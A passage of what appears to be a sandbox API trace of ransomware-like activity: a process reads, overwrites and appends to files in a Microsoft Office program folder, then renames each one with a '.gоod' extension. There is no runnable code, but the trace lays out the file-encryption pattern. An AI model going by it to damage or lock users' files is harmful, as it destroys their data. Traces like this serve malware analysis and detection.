lpOverlapped=0x0) returned 1 [0172.638] CloseHandle (hObject=0x650) returned 1 [0172.638] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", lpFilePart=0x0) returned 0x5b [0172.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0172.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\system.windows.controls.theming.toolkit.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0172.638] GetFileType (hFile=0x650) returned 0x1 [0172.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0172.638] GetFileType (hFile=0x650) returned 0x1 [0172.638] ReadFile (in: hFile=0x650, lpBuffer=0x341f280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x341f280*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0172.677] CloseHandle (hObject=0x650) returned 1 [0172.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", lpFilePart=0x0) returned 0x5b [0172.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0172.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\system.windows.controls.theming.toolkit.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0172.678] GetFileType (hFile=0x650) returned 0x1 [0172.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0172.678] GetFileType (hFile=0x650) returned 0x1 [0172.678] WriteFile (in: hFile=0x650, lpBuffer=0x341df78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x341df78*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0172.678] CloseHandle (hObject=0x650) returned 1 [0172.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", lpFilePart=0x0) returned 0x5b [0172.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip.gоod", lpFilePart=0x0) returned 0x60 [0172.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0172.678] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\system.windows.controls.theming.toolkit.zip"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x63221ff3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2d18)) returned 1 [0172.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0172.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\system.windows.controls.theming.toolkit.zip"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\system.windows.controls.theming.toolkit.zip.gоod")) returned 1 [0173.055] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", lpFilePart=0x0) returned 0x3a [0173.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0173.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tlimpt.exe"), fInfoLevelId=0x0, lpFileInformation=0x3473b30 | out: lpFileInformation=0x3473b30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1729263, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1729263, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x18a6a8a, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x32c60)) returned 1 [0173.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0173.055] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", lpFilePart=0x0) returned 0x3a [0173.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0173.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tlimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.056] GetFileType (hFile=0x6e0) returned 0x1 [0173.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0173.056] GetFileType (hFile=0x6e0) returned 0x1 [0173.056] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0173.056] ReadFile (in: hFile=0x6e0, lpBuffer=0x3473f08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3473f08*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0173.057] CloseHandle (hObject=0x6e0) returned 1 [0173.057] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", lpFilePart=0x0) returned 0x3a [0173.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0173.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tlimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.058] GetFileType (hFile=0x6e0) returned 0x1 [0173.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0173.058] GetFileType (hFile=0x6e0) returned 0x1 [0173.058] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x32c60 [0173.058] WriteFile (in: hFile=0x6e0, lpBuffer=0x34759e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34759e0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0173.059] CloseHandle (hObject=0x6e0) returned 1 [0173.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", lpFilePart=0x0) returned 0x3a [0173.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0173.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tlimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.059] GetFileType (hFile=0x6e0) returned 0x1 [0173.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0173.059] GetFileType (hFile=0x6e0) returned 0x1 [0173.059] ReadFile (in: hFile=0x6e0, lpBuffer=0x3477c80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3477c80*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0173.098] CloseHandle (hObject=0x6e0) returned 1 [0173.098] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", lpFilePart=0x0) returned 0x3a [0173.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0173.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tlimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.099] GetFileType (hFile=0x6e0) returned 0x1 [0173.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0173.099] GetFileType (hFile=0x6e0) returned 0x1 [0173.099] WriteFile (in: hFile=0x6e0, lpBuffer=0x34769f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34769f8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0173.099] CloseHandle (hObject=0x6e0) returned 1 [0173.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE", lpFilePart=0x0) returned 0x3a [0173.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE.gоod", lpFilePart=0x0) returned 0x3f [0173.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0173.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tlimpt.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1729263, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1729263, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x63627f64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32c70)) returned 1 [0173.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0173.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tlimpt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tlimpt.exe.gоod")) returned 1 [0173.101] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", lpFilePart=0x0) returned 0x3a [0173.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0173.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmapi.exe"), fInfoLevelId=0x0, lpFileInformation=0x33d0df0 | out: lpFileInformation=0x33d0df0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13b648)) returned 1 [0173.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0173.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", lpFilePart=0x0) returned 0x3a [0173.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0173.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmapi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0173.661] GetFileType (hFile=0x630) returned 0x1 [0173.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0173.661] GetFileType (hFile=0x630) returned 0x1 [0173.661] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0173.661] ReadFile (in: hFile=0x630, lpBuffer=0x35be520, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x35be520*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0173.662] CloseHandle (hObject=0x630) returned 1 [0173.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", lpFilePart=0x0) returned 0x3a [0173.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0173.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmapi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0173.663] GetFileType (hFile=0x630) returned 0x1 [0173.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0173.663] GetFileType (hFile=0x630) returned 0x1 [0173.664] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x13b648 [0173.664] WriteFile (in: hFile=0x630, lpBuffer=0x35bf7b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x35bf7b8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0174.444] CloseHandle (hObject=0x630) returned 1 [0174.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", lpFilePart=0x0) returned 0x3a [0174.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0174.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmapi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0174.444] GetFileType (hFile=0x630) returned 0x1 [0174.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0174.444] GetFileType (hFile=0x630) returned 0x1 [0174.444] ReadFile (in: hFile=0x630, lpBuffer=0x35815d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x35815d0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0174.537] CloseHandle (hObject=0x630) returned 1 [0174.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", lpFilePart=0x0) returned 0x3a [0174.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0174.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmapi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0174.538] GetFileType (hFile=0x630) returned 0x1 [0174.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0174.538] GetFileType (hFile=0x630) returned 0x1 [0174.538] WriteFile (in: hFile=0x630, lpBuffer=0x33c51b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33c51b8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0174.538] CloseHandle (hObject=0x630) returned 1 [0174.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe", lpFilePart=0x0) returned 0x3a [0174.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe.gоod", lpFilePart=0x0) returned 0x3f [0174.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0174.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmapi.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x643dfba4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13b658)) returned 1 [0174.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0174.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmapi.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmapi.exe.gоod")) returned 1 [0174.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", lpFilePart=0x0) returned 0x3c [0174.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0174.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2excl.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3464fa8 | out: lpFileInformation=0x3464fa8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x50ade23, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10c8)) returned 1 [0174.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0174.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", lpFilePart=0x0) returned 0x3c [0174.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0174.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2excl.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0174.884] GetFileType (hFile=0x630) returned 0x1 [0174.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0174.884] GetFileType (hFile=0x630) returned 0x1 [0174.884] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0174.915] ReadFile (in: hFile=0x630, lpBuffer=0x3450730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3450730*, lpNumberOfBytesRead=0x1f59e808*=0xc8, lpOverlapped=0x0) returned 1 [0174.916] CloseHandle (hObject=0x630) returned 1 [0174.916] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", lpFilePart=0x0) returned 0x3c [0174.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0174.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2excl.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0174.916] GetFileType (hFile=0x630) returned 0x1 [0174.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0174.916] GetFileType (hFile=0x630) returned 0x1 [0174.916] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x10c8 [0174.916] WriteFile (in: hFile=0x630, lpBuffer=0x34519b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34519b8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0174.916] CloseHandle (hObject=0x630) returned 1 [0174.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", lpFilePart=0x0) returned 0x3c [0174.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0174.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2excl.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0174.917] GetFileType (hFile=0x630) returned 0x1 [0174.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0174.917] GetFileType (hFile=0x630) returned 0x1 [0174.917] ReadFile (in: hFile=0x630, lpBuffer=0x3453c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3453c68*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0174.942] CloseHandle (hObject=0x630) returned 1 [0174.942] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", lpFilePart=0x0) returned 0x3c [0174.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0174.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2excl.xsl"), 